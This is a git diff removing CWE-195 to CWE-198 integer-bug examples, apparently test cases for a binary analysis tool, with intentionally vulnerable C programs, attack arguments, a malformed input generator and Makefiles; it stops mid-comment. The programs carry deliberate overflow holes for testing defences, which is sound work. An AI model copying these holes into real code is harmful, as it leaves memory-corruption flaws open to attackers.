newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC_105_src.zip.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC_105_src.zip.REMOVED.git-id deleted file mode 100644 index 37510e51d98ef461ae1f78a6c57caea976969ac8..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC_105_src.zip.REMOVED.git-id +++ /dev/null @@ -1 +0,0 @@ -c24dc209f05c71667a8e90801ef89abacc263fa9 \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/tightvnc-1.3.9_unixsrc.tar.gz.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/tightvnc-1.3.9_unixsrc.tar.gz.REMOVED.git-id deleted file mode 100644 index b37c583633b97c4f473781f9c010e0d31e0a8470..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/tightvnc-1.3.9_unixsrc.tar.gz.REMOVED.git-id +++ /dev/null @@ -1 +0,0 @@ -be5de46e050a3c9d6f8c5decea05d6025b40263d \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_1_bad.c deleted file mode 100644 index 65b7fe16b1c72113200b6f8da1ddbe4afb215a43..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_1_bad.c +++ /dev/null @@ -1,50 +0,0 @@ -/* -Signed to Unsigned Conversion Error - -Description Summary -A signed-to-unsigned conversion error takes place when a signed primitive is used -as an unsigned value, usually as a size variable. - -Extended Description -It is dangerous to rely on implicit casts between signed and unsigned numbers because -the result can take on an unexpected value and violate assumptions made by the program. - -Scope Effect -Availability Conversion between signed and unsigned values can lead to a variety of -errors, but from a security standpoint is most commonly associated with integer -overflow and buffer overflow vulnerabilities. - - -Example 1 -In this example the variable amount can hold a negative value when it is returned. -Because the function is declared to return an unsigned int, amount will be implicitly -converted to unsigned. -(Bad Code)Example Language: C - -@BAD_ARGS -1 -@GOOD_ARGS 1 -@ATTACK_SUCCEEDED_CODE 1 - -*/ -#include <stdlib.h> - -unsigned int readdata (int n) { -int amount = n; -return amount; -} - - -int main(int argc, char **argv) -{ - if (argc < 2) exit(2); - int n = atoi(argv[1]); - if (readdata(n) > 0 && n < 0) exit(1); - exit(0); -} - -/* -If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers. -*/ - - - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_2_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_2_bad.c deleted file mode 100644 index 64bc117cb01999462c4aee83bcc522ad94d5ce51..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_2_bad.c +++ /dev/null @@ -1,53 +0,0 @@ -/* -Signed to Unsigned Conversion Error - -Description Summary -A signed-to-unsigned conversion error takes place when a signed primitive is used -as an unsigned value, usually as a size variable. - -Extended Description -It is dangerous to rely on implicit casts between signed and unsigned numbers because -the result can take on an unexpected value and violate assumptions made by the program. - -Scope Effect -Availability Conversion between signed and unsigned values can lead to a variety of -errors, but from a security standpoint is most commonly associated with integer -overflow and buffer overflow vulnerabilities. - -Example 2 -In this example, depending on the return value of accecssmainframe(), the variable -amount can hold a negative value when it is returned. Because the function is declared -to return an unsigned value, amount will be implicitly cast to an unsigned number. -(Bad Code)Example Language: C - -@BAD_ARGS -@ATTACK_SUCCEEDED_CODE 1 -*/ - -#include <stdlib.h> - -int accessmainframe() -{ - return -1; -} - -unsigned int readdata () { -int amount = 0; -amount = accessmainframe(); -return amount; -} - - -int main(int argc, char **argv) -{ - unsigned int n = readdata(); - if (n > 1000) exit(1); - exit(0); -} - -/* -If the return value of accessmainframe() is -1, then the return value of readdata() -will be 4,294,967,295 on a system that uses 32-bit integers. -*/ - - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_3_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_3_bad.c deleted file mode 100644 index 798ea5baec54bbd58099560eac8c57fcdc2557fc..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_3_bad.c +++ /dev/null @@ -1,84 +0,0 @@ -/* -Signed to Unsigned Conversion Error - -Description Summary -A signed-to-unsigned conversion error takes place when a signed primitive is used -as an unsigned value, usually as a size variable. - -Extended Description -It is dangerous to rely on implicit casts between signed and unsigned numbers because -the result can take on an unexpected value and violate assumptions made by the program. - -Scope Effect -Availability Conversion between signed and unsigned values can lead to a variety of -errors, but from a security standpoint is most commonly associated with integer -overflow and buffer overflow vulnerabilities. - -Example 3 -The following code is intended to read an incoming packet from a socket and extract -one or more headers. -(Bad Code)Example Language: C - -@BAD_ARGS -1 -@GOOD_ARGS 100 -@ATTACK_SUCCEEDED_CODE 139 - -*/ -#include <stdlib.h> -#include <stdio.h> -#include <string.h> -#include <memory.h> - - -/* Stupid stubs to pretend to do network trafic */ -struct DataPacket { - int headers; -}; -typedef char PacketHeader; -int AcceptSocketConnection() {} -void ReadPacket(struct DataPacket* packet, int sock) { packet->headers = -3;} -void ParsePacketHeaders(struct DataPacket* packet, PacketHeader* header) { - char *msg = "this is a long string that should crash the program"; - printf("%s\n", msg); - strcpy(header, msg); - printf("%s\n", header); -} - - -int main(int argc, char **argv) -{ - struct DataPacket *packet; - int numHeaders; - PacketHeader *headers; - - if (argc < 2) exit(2); - - int sock=AcceptSocketConnection(); - ReadPacket(packet, sock); - packet->headers = atoi(argv[1]); - numHeaders =packet->headers; - - if (numHeaders > 100) { - exit(2); /* too many headers! */ - } - printf("%d\n", numHeaders); - printf("%d\n", sizeof(PacketHeader)); - headers = malloc(numHeaders * sizeof(PacketHeader)); - ParsePacketHeaders(packet, headers); - exit(0); -} - -/* -The code performs a check to make sure that the packet does not contain too many -headers. However, numHeaders is defined as a signed int, so it could be negative. -If the incoming packet specifies a value such as -3, then the malloc calculation -will generate a negative number (say, -300 if each header can be a maximum of 100 -bytes). When this result is provided to malloc(), it is first converted to a size_t -type. This conversion then produces a large value such as 4294966996, which may -cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). -With the appropriate negative numbers, an attacker could trick malloc() into using -a very small positive number, which then allocates a buffer that is much smaller -than expected, potentially leading to a buffer overflow. - -*/ - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_4_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_4_bad.c deleted file mode 100644 index d2736c50091a16ff78c3ea37fc44e12630e1578b..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_4_bad.c +++ /dev/null @@ -1,73 +0,0 @@ -/* -Signed to Unsigned Conversion Error - -Description Summary -A signed-to-unsigned conversion error takes place when a signed primitive is used -as an unsigned value, usually as a size variable. - -Extended Description -It is dangerous to rely on implicit casts between signed and unsigned numbers because -the result can take on an unexpected value and violate assumptions made by the program. - -Scope Effect -Availability Conversion between signed and unsigned values can lead to a variety of -errors, but from a security standpoint is most commonly associated with integer -overflow and buffer overflow vulnerabilities. - -Example 4 -This example processes user input comprised of a series of variable-length structures. -The first 2 bytes of input dictate the size of the structure to be processed. -(Bad Code)Example Language: C - -@BAD_ARGS <example4_bad.dat -@GOOD_ARGS <example4_good.dat -@ATTACK_SUCCEEDED_CODE 139 - -*/ - -#include <stdlib.h> -#include <memory.h> -#include <stdio.h> - -void process(char* buf) {} - -char* processNext(char* strm) { - char buf[512]; - short len = *(short*) strm; - strm += sizeof(len); - if (len <= 512) { - memcpy(buf, strm, len); - process(buf); - return strm + len; - } - else { - return 0; - } -} - -int main(int argc, char **argv) -{ - char buf[512]; - int n = 0; - while ((buf[n++] = getchar()) != EOF) {} -printf("A\n"); - - processNext(buf); -printf("A\n"); - exit(0); -} - - -/* -The programmer has set an upper bound on the structure size: if it is larger -than 512, the input will not be processed. The problem is that len is a signed -short, so the check against the maximum structure length is done with signed values, -but len is converted to an unsigned integer for the call to memcpy() and the negative -bit will be extended to result in a huge value for the unsigned integer. -If len is negative, then it will appear that the structure has an appropriate size -(the if branch will be taken), but the amount of memory copied by memcpy() will -be quite large, and the attacker will be able to overflow the stack with data -in strm. - -*/ - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_195/Makefile deleted file mode 100644 index 7a92060a9bf335f932aa26a8ac2189f6dd3bb5e2..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_195/Makefile +++ /dev/null @@ -1,71 +0,0 @@ -# DO NOT EDIT - This Makefile automatically generated -include ../../Makefile.options -include $(wildcard Makefile.options) - -all: runall - -test: - ../../../scripts/test.pl $(TESTFLAGS) . - -CWE_195_Example_1_bad.ncexe: CWE_195_Example_1_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_195_Example_1_bad.conf - -CWE_195_Example_1_bad: CWE_195_Example_1_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_195_Example_1_bad.ps_analyze.log - cp CWE_195_Example_1_bad.conf CWE_195_Example_1_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_195_Example_1_bad.conf - -CWE_195_Example_1_bad.run: CWE_195_Example_1_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_195_Example_1_bad.ncexe - -CWE_195_Example_2_bad.ncexe: CWE_195_Example_2_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_195_Example_2_bad.conf - -CWE_195_Example_2_bad: CWE_195_Example_2_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_195_Example_2_bad.ps_analyze.log - cp CWE_195_Example_2_bad.conf CWE_195_Example_2_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_195_Example_2_bad.conf - -CWE_195_Example_2_bad.run: CWE_195_Example_2_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_195_Example_2_bad.ncexe - -CWE_195_Example_3_bad.ncexe: CWE_195_Example_3_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_195_Example_3_bad.conf - -CWE_195_Example_3_bad: CWE_195_Example_3_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_195_Example_3_bad.ps_analyze.log - cp CWE_195_Example_3_bad.conf CWE_195_Example_3_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_195_Example_3_bad.conf - -CWE_195_Example_3_bad.run: CWE_195_Example_3_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_195_Example_3_bad.ncexe - -CWE_195_Example_4_bad.ncexe: CWE_195_Example_4_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_195_Example_4_bad.conf - -CWE_195_Example_4_bad: CWE_195_Example_4_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_195_Example_4_bad.ps_analyze.log - cp CWE_195_Example_4_bad.conf CWE_195_Example_4_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_195_Example_4_bad.conf - -CWE_195_Example_4_bad.run: CWE_195_Example_4_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_195_Example_4_bad.ncexe - -gen: gen.cc - $(CPP) $(CPPFLAGS) $< -o $@ $(LINKOPT) -clean: - rm -f CWE_195_Example_1_bad.ncexe CWE_195_Example_2_bad.ncexe CWE_195_Example_3_bad.ncexe CWE_195_Example_4_bad.ncexe gen - rm -f CWE_195_Example_1_bad CWE_195_Example_2_bad CWE_195_Example_3_bad CWE_195_Example_4_bad - rm -f summary.csv logfail.txt logfile.txt CWE_195_Example_1_bad.asm CWE_195_Example_1_bad.idb CWE_195_Example_1_bad.ncexe* stratafier.o.exe *.conf CWE_195_Example_2_bad.asm CWE_195_Example_2_bad.idb CWE_195_Example_2_bad.ncexe* stratafier.o.exe *.conf CWE_195_Example_3_bad.asm CWE_195_Example_3_bad.idb CWE_195_Example_3_bad.ncexe* stratafier.o.exe *.conf CWE_195_Example_4_bad.asm CWE_195_Example_4_bad.idb CWE_195_Example_4_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log - rm -rf peasoup_executable_directory* - -targets: CWE_195_Example_1_bad.ncexe CWE_195_Example_2_bad.ncexe CWE_195_Example_3_bad.ncexe CWE_195_Example_4_bad.ncexe gen - -analyze: targets CWE_195_Example_1_bad CWE_195_Example_2_bad CWE_195_Example_3_bad CWE_195_Example_4_bad - -runall: CWE_195_Example_1_bad.run CWE_195_Example_2_bad.run CWE_195_Example_3_bad.run CWE_195_Example_4_bad.run - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/example4_bad.dat b/examples/integerbugs/C1_Number_Handling/CWE_195/example4_bad.dat deleted file mode 100644 index 2ea4cb14dfbf4b8ac338f9036b73c35c3f8854d5..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_195/example4_bad.dat +++ /dev/null @@ -1 +0,0 @@ -ýÿ \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/example4_good.dat b/examples/integerbugs/C1_Number_Handling/CWE_195/example4_good.dat deleted file mode 100644 index d9caed6061660b36286cdeb7e6d81175e39bfa25..0000000000000000000000000000000000000000 Binary files a/examples/integerbugs/C1_Number_Handling/CWE_195/example4_good.dat and /dev/null differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/gen.cc b/examples/integerbugs/C1_Number_Handling/CWE_195/gen.cc deleted file mode 100644 index 9d80831e7ec352ec3ed19cbb9a6d7b999fe6abb2..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_195/gen.cc +++ /dev/null @@ -1,21 +0,0 @@ -#include <stdio.h> -#include <stdlib.h> - -/* -This is used for generating test data and not an actual test -@DRIVER -*/ - -int main(int argc, char **argv) -{ - if (argc < 3) {printf("Usage: gen <reported size> <actual size>\n"); exit(2); } - short n = atoi(argv[1]); - int m = atoi(argv[2]); - char *c = (char *)&n; - - printf ("%c%c", c[0], c[1]); - int i; - for (i = 0; i < m; ++i) printf("x"); -} - - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_196/CWE_196_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_196/CWE_196_Example_1_bad.c deleted file mode 100644 index b48b89a69306840c5c42abb2684186cc243f8d48..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_196/CWE_196_Example_1_bad.c +++ /dev/null @@ -1,64 +0,0 @@ -/* - Unsigned to Signed Conversion Error - -Description Summary -An unsigned-to-signed conversion error takes place when a large unsigned -primitive is used as a signed value. - -Common Consequences -Scope Effect -Availability Incorrect sign conversions generally lead to undefined behavior, and - therefore crashes. - -Integrity If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected. - -Integrity Improper signed-to-unsigned conversions without proper checking can - sometimes trigger buffer overflows which can be used to execute - arbitrary code. This is usually outside the scope of a program's implicit - security policy. - -Example 1 -In the following example, it is possible to request that memcpy move a much -larger segment of memory than assumed: -(Bad Code)Example Language: C - -@GOOD_ARGS 1 -@BAD_ARGS -1 -@ATTACK_SUCCEEDED_CODE 139 - -*/ - -#include <stdlib.h> -#include <memory.h> -#include <stdio.h> -#ifdef ASSERT - #include <assert.h> -#endif - - -int returnChunkSize(void * buf, int n) { -/* if chunk info is valid, return the size of usable memory, -* else, return -1 to indicate an error -*/ - return n; -} - -int main(int argc, char **argv) { - char destBuf[512]; - char* srcBuf = "Hello World"; - if (argc < 2) exit(2); - int n = atoi(argv[1]); - memcpy(destBuf, srcBuf, (returnChunkSize(destBuf, n)-1)); -#ifdef ASSERT - assert(isdigit(argv[1][0])); - assert( (sizeof(destBuf) > (returnChunkSize(destBuf, n)-1)) && ((returnChunkSize(destBuf, n)-1) > -1) ); -#endif - exit(0); -} - -/* -If returnChunkSize() happens to encounter an error, and returns -1, -memcpy will assume that the value is unsigned and therefore interpret it as -MAXINT-1, therefore copying far more memory than is likely available in the -destination buffer. -*/ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_196/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_196/Makefile deleted file mode 100644 index 80f156712c03afe4016c67d066be87f3de687191..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_196/Makefile +++ /dev/null @@ -1,33 +0,0 @@ -# DO NOT EDIT - This Makefile automatically generated -include ../../Makefile.options -include $(wildcard Makefile.options) - -all: runall - -test: - ../../../scripts/test.pl $(TESTFLAGS) . - -CWE_196_Example_1_bad.ncexe: CWE_196_Example_1_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_196_Example_1_bad.conf - -CWE_196_Example_1_bad: CWE_196_Example_1_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_196_Example_1_bad.ps_analyze.log - cp CWE_196_Example_1_bad.conf CWE_196_Example_1_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_196_Example_1_bad.conf - -CWE_196_Example_1_bad.run: CWE_196_Example_1_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_196_Example_1_bad.ncexe - -clean: - rm -f CWE_196_Example_1_bad.ncexe - rm -f CWE_196_Example_1_bad - rm -f summary.csv logfail.txt logfile.txt CWE_196_Example_1_bad.asm CWE_196_Example_1_bad.idb CWE_196_Example_1_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log - rm -rf peasoup_executable_directory* - -targets: CWE_196_Example_1_bad.ncexe - -analyze: targets CWE_196_Example_1_bad - -runall: CWE_196_Example_1_bad.run - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_197/CWE_197_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_197/CWE_197_Example_1_bad.c deleted file mode 100644 index 2ec3ba9494e8c813b18714179c723ad995e6b614..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_197/CWE_197_Example_1_bad.c +++ /dev/null @@ -1,75 +0,0 @@ -/* -Numeric Truncation Error - -Description Summary -Truncation errors occur when a primitive is cast to a primitive of a smaller -size and data is lost in the conversion. - -Extended Description -When a primitive is cast to a smaller primitive, the high order bits of the -large value are lost in the conversion, potentially resulting in an unexpected -value that is not equal to the original value. This value may be required as an -index into a buffer, a loop iterator, or simply necessary state data. In any -case, the value cannot be trusted and the system will be in an undefined state. -While this method may be employed viably to isolate the low bits of a value, -this usage is rare, and truncation usually implies that an implementation error -has occurred. - -Common Consequences -Scope Effect -Integrity The true value of the data is lost and corrupted data is used. - -Example 1 -This example, while not exploitable, shows the possible mangling of values -associated with truncation errors: -(Bad Code)Example Language: C - -@BAD_ARGS 2147483647 -@GOOD_ARGS 22 -@ATTACK_SUCCEEDED_CODE 1 - -*/ - -#include <stdlib.h> -#include <stdio.h> -#ifdef ASSERT - #include <assert.h> -#endif - -int main(int argc, char **argv) -{ - int intPrimitive; - short shortPrimitive; -if(argc != 2 ){ - fprintf(stderr, "usage: %s ipaddres\n", argv[0]); - exit(1); -} - intPrimitive = atoi(argv[1]); -/* -BJM The intial example had this code. I changed it to take a command line arg -This will let there be more bad values. The intened value from this code is -now the Bad_ARGS - - intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1))); -*/ - shortPrimitive = intPrimitive; - printf("Int: %d\nShort: %d\n", intPrimitive, shortPrimitive); -#ifdef ASSERT - assert(intPrimitive == shortPrimitive); -#endif - if (shortPrimitive < 0) exit(1); - exit(0); -} - - -/* -The above code, when compiled and run on certain systems, returns the following output: - -(Result) -Int MAXINT: 2147483647 -Short MAXINT: -1 -This problem may be exploitable when the truncated value is used as an array -index, which can happen implicitly when 64-bit values are used as indexes, as -they are truncated to 32 bits. - -*/ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_197/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_197/Makefile deleted file mode 100644 index 92d249cca5fcef0ec1639209bb3c81e1a0742a4a..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_197/Makefile +++ /dev/null @@ -1,33 +0,0 @@ -# DO NOT EDIT - This Makefile automatically generated -include ../../Makefile.options -include $(wildcard Makefile.options) - -all: runall - -test: - ../../../scripts/test.pl $(TESTFLAGS) . - -CWE_197_Example_1_bad.ncexe: CWE_197_Example_1_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_197_Example_1_bad.conf - -CWE_197_Example_1_bad: CWE_197_Example_1_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_197_Example_1_bad.ps_analyze.log - cp CWE_197_Example_1_bad.conf CWE_197_Example_1_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_197_Example_1_bad.conf - -CWE_197_Example_1_bad.run: CWE_197_Example_1_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_197_Example_1_bad.ncexe - -clean: - rm -f CWE_197_Example_1_bad.ncexe - rm -f CWE_197_Example_1_bad - rm -f summary.csv logfail.txt logfile.txt CWE_197_Example_1_bad.asm CWE_197_Example_1_bad.idb CWE_197_Example_1_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log - rm -rf peasoup_executable_directory* - -targets: CWE_197_Example_1_bad.ncexe - -analyze: targets CWE_197_Example_1_bad - -runall: CWE_197_Example_1_bad.run - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/CVE-2005-2448_CWE_198_EKG.docx b/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/CVE-2005-2448_CWE_198_EKG.docx deleted file mode 100644 index 065502ddbfcdd6adaf6b7e2c048a4be5976e5b03..0000000000000000000000000000000000000000 Binary files a/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/CVE-2005-2448_CWE_198_EKG.docx and /dev/null differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/Should_have_the_fixes_ekg-1.6rc3.tar.gz b/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/Should_have_the_fixes_ekg-1.6rc3.tar.gz deleted file mode 100644 index 37c2e214ab2d18c6f141416918aff04d0a1af11d..0000000000000000000000000000000000000000 Binary files a/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/Should_have_the_fixes_ekg-1.6rc3.tar.gz and /dev/null differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.5rc2.tar.gz b/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.5rc2.tar.gz deleted file mode 100644 index cebe1814a37b127ab21b1673fe682fefc825360b..0000000000000000000000000000000000000000 Binary files a/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.5rc2.tar.gz and /dev/null differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.6rc1.tar.gz b/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.6rc1.tar.gz deleted file mode 100644 index 5de15c25d3e0f152a681a4f8dc5e06bbc07491a5..0000000000000000000000000000000000000000 Binary files a/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.6rc1.tar.gz and /dev/null differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_198/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_198/Makefile deleted file mode 100644 index 5f5aa0afcbc6aa25d39d4cab4197475d676b262c..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_198/Makefile +++ /dev/null @@ -1,45 +0,0 @@ -# DO NOT EDIT - This Makefile automatically generated -include ../../Makefile.options -include $(wildcard Makefile.options) - -all: runall - -test: - ../../../scripts/test.pl $(TESTFLAGS) . - -use_of_incorrect_byte_order.ncexe: use_of_incorrect_byte_order.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >use_of_incorrect_byte_order.conf - -use_of_incorrect_byte_order: use_of_incorrect_byte_order.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee use_of_incorrect_byte_order.ps_analyze.log - cp use_of_incorrect_byte_order.conf use_of_incorrect_byte_order.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> use_of_incorrect_byte_order.conf - -use_of_incorrect_byte_order.run: use_of_incorrect_byte_order - ../../../scripts/test.pl $(TESTFLAGS) use_of_incorrect_byte_order.ncexe - -use_of_incorrect_byte_order_safe.ncexe: use_of_incorrect_byte_order.c - $(CC) $(CFLAGS) -DSAFE $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) -DSAFE $< -o $@ $(LINKOPT) >use_of_incorrect_byte_order_safe.conf - -use_of_incorrect_byte_order_safe: use_of_incorrect_byte_order_safe.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee use_of_incorrect_byte_order_safe.ps_analyze.log - cp use_of_incorrect_byte_order_safe.conf use_of_incorrect_byte_order_safe.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> use_of_incorrect_byte_order_safe.conf - -use_of_incorrect_byte_order_safe.run: use_of_incorrect_byte_order_safe - ../../../scripts/test.pl $(TESTFLAGS) use_of_incorrect_byte_order_safe.ncexe - -clean: - rm -f use_of_incorrect_byte_order.ncexe use_of_incorrect_byte_order_safe.ncexe - rm -f use_of_incorrect_byte_order use_of_incorrect_byte_order_safe - rm -f summary.csv logfail.txt logfile.txt use_of_incorrect_byte_order.asm use_of_incorrect_byte_order.idb use_of_incorrect_byte_order.ncexe* stratafier.o.exe *.conf use_of_incorrect_byte_order_safe.asm use_of_incorrect_byte_order_safe.idb use_of_incorrect_byte_order_safe.ncexe* $(CLEANEXTRAS) *.ps_analyze.log - rm -rf peasoup_executable_directory* - -targets: use_of_incorrect_byte_order.ncexe use_of_incorrect_byte_order_safe.ncexe - -analyze: targets use_of_incorrect_byte_order use_of_incorrect_byte_order_safe - -runall: use_of_incorrect_byte_order.run use_of_incorrect_byte_order_safe.run - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_198/use_of_incorrect_byte_order.c b/examples/integerbugs/C1_Number_Handling/CWE_198/use_of_incorrect_byte_order.c deleted file mode 100644 index c78fca9bb19eca11bd847877573b0212804ddb8f..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_198/use_of_incorrect_byte_order.c +++ /dev/null @@ -1,89 +0,0 @@ -/* -Use of Incorrect Byte Ordering -Description Summary - -The software receives input from an upstream component, but it does not account -for byte ordering (e.g. big-endian and little-endian) when processing the -input, causing an incorrect number or value to be used. - -from CERT -https://www.securecoding.cert.org/confluence/display/seccode/POS39-C.+Use+the+correct+byte+ordering+when+transferring+data+between+systems - -Non-Compliant Code Example -In this noncompliant code example, the programmer tries to read an unsigned -32-bit integer off a previously connected network socket. - -It is important to know the sizes of your data types lest they be different on -architectures that are accessible over the network. Hence, we transfer a -uint32_t rather than an int. For more information, see recommendation FIO09-C. -Be careful with binary data when transferring data across systems. - -@BAD_ARGS 17 -@ATTACK_SUCCEEDED_CODE 1 -@NORMAL_ERROR_CODE 0 - -*/ - -#include <stdio.h> -#include <stdlib.h> - -// 2-byte number -int SHORT_little_endian_TO_big_endian(int i) -{ - return ((i>>8)&0xff)+((i << 8)&0xff00); -} - -// 4-byte number -int INT_little_endian_TO_big_endian(int i) -{ - return((i&0xff)<<24)+((i&0xff00)<<8)+((i&0xff0000)>>8)+((i>>24)&0xff); -} - -/* converters from Anghel Leonard devx.com */ - -/* -This program prints out the number received from the socket using an incorrect byte ordering. For example, if the value 4 is sent from a big endian machine, and the receiving system is little endian, the value 536,870,912 is read. This problem can be corrected by sending and receiving using network byte ordering. - -Compliant Code Example -In this compliant code example, the programmer uses the ntohl() function to convert the integer from network byte order to host byte ordering. -*/ -/* sock is 